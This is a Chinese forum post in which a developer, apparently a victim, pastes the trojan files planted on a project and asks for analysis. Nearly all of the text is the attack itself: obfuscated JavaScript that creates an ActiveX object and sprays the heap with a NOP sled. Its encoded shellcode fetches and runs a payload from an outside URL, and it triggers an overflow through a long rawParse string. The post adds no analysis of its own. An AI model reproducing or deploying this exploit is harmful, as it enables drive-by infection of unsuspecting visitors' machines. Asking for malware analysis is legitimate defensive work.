最近的一个项目 被别人挂了木马 请高人分析一下

 最近的一个项目 被别人挂了木马 请高人分析一下

下边是bf.mtml文件的内容

--------------------------------------------------------

< s cript language="JavaScript">
var jusgu12345="4f-A"+"6E2"+"-1A85A"+"9B4D9FB";
var jusgu1234="52E"+"1D-E5"+"86-47";
var jusgu123="clsi"+"d:6BE";
duba_papa=document.createElement("object");
var jusgu123x=jusgu123+jusgu1234+jusgu12345;
duba_papa["setAttribute"]("classid", jusgu123x);
var bigblock = window["unescape"]("%u90"+"90"+"%u90"+"90");
var justpksdede;
var justpkss11coodd = window["unescape"]("Game54EBGame758BGame8B3CGame3574Game0378Game56F5Game768BGame0320Game33F5Game49C9GameAD41GameDB33Game0F36Game14BEGame3828Game74F2GameC108Game0DCBGameDA03GameEB40Game3BEFGame75DFGame5EE7Game5E8BGame0324Game66DDGame0C8BGame8B4BGame1C5EGameDD03Game048BGame038BGameC3C5Game7275Game6D6CGame6E6FGame642EGame6C6CGame4300Game5C3AGame2e55Game7865Game0065GameC033Game0364Game3040Game0C78Game408BGame8B0CGame1C70Game8BADGame0840Game09EBGame408BGame8D34Game7C40Game408BGame953CGame8EBFGame0E4EGameE8ECGameFF84GameFFFFGameEC83Game8304Game242CGameFF3CGame95D0GameBF50Game1A36Game702FGame6FE8GameFFFFGame8BFFGame2454Game8DFCGameBA52GameDB33Game5353GameEB52Game5324GameD0FFGameBF5DGameFE98Game0E8AGame53E8GameFFFFGame83FFGame04ECGame2C83Game6224GameD0FFGame7EBFGameE2D8GameE873GameFF40GameFFFFGameFF52GameE8D0GameFFD7GameFFFFGame7468Game7074Game2f3aGame782fGame6e69Game3938Game3232Game2e31Game6f63Game2f6dGame6f6cGame6576Game772fGame6e69Game6f64Game7373Game632eGame7373Game0000");

justpksdede = 20;
var justpkss11;
var pkjj525_syz;
justpkss11 = justpksdede+justpkss11coodd["length"];
while (bigblock["length"]<justpkss11) bigblock+=bigblock;
fillblock = bigblock.substring(0, justpkss11);
block = bigblock.substring(0, bigblock["length"]-justpkss11);
while(block.length+justpkss11<0x40000) block = block+block+fillblock;
justpkss = new window["Array"]();
QuadroXFX = unescape(justpkss11coodd.replace(/Game/g,"/x25/x75"));
dubabbsave = justpkss;
for (i=0; i<300; i++) dubabbsave[i] = block + QuadroXFX;
var pkjj525 = '';
while (pkjj525["length"] < 4057)
pkjj525+="/x0a";
pkjj525+="/x0a";
pkjj525+="/x0a";
pkjj525+="/x0a";
pkjj525+="/x0a";
pkjj525+="/x0a";
pkjj525+="/x0a";
pkjj525+="/x0a";
pkjj525+="/x0a";
pkjj525+="/x0a";
pkjj525+="/x0a";
pkjj525+="/x0a";
pkjj525+="/x0a";
pkjj525+="/x0a";
pkjj525+="/x0a";
duba_papa["rawParse"](pkjj525);
< / s cript>


下边是bf1.js文件的内容

-----------------------------------------------------

var jusgu12345="4f-A"+"6E2"+"-1A85A"+"9B4D9FB";
var jusgu1234="52E"+"1D-E5"+"86-47";
var jusgu123="clsi"+"d:6BE";
duba_papa=document.createElement("object");
var jusgu123x=jusgu123+jusgu1234+jusgu12345;

 

下边是bf.js文件的内容

--------------------------------------------------------

duba_papa["setAttribute"]("classid", jusgu123x);
var bigblock = window["unescape"]("%u90"+"90"+"%u90"+"90");
var justpksdede;

var justpkss11coodd = window["unescape"]("Game54EBGame758BGame8B3CGame3574Game0378Game56F5Game768BGame0320Game33F5Game49C9GameAD41GameDB33Game0F36Game14BEGame3828Game74F2GameC108Game0DCBGameDA03GameEB40Game3BEFGame75DFGame5EE7Game5E8BGame0324Game66DDGame0C8BGame8B4BGame1C5EGameDD03Game048BGame038BGameC3C5Game7275Game6D6CGame6E6FGame642EGame6C6CGame4300Game5C3AGame2e55Game7865Game0065GameC033Game0364Game3040Game0C78Game408BGame8B0CGame1C70Game8BADGame0840Game09EBGame408BGame8D34Game7C40Game408BGame953CGame8EBFGame0E4EGameE8ECGameFF84GameFFFFGameEC83Game8304Game242CGameFF3CGame95D0GameBF50Game1A36Game702FGame6FE8GameFFFFGame8BFFGame2454Game8DFCGameBA52GameDB33Game5353GameEB52Game5324GameD0FFGameBF5DGameFE98Game0E8AGame53E8GameFFFFGame83FFGame04ECGame2C83Game6224GameD0FFGame7EBFGameE2D8GameE873GameFF40GameFFFFGameFF52GameE8D0GameFFD7GameFFFFGame7468Game7074Game2f3aGame782fGame6e69Game3938Game3232Game2e31Game6f63Game2f6dGame6f6cGame6576Game772fGame6e69Game6f64Game7373Game632eGame7373Game0000");

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值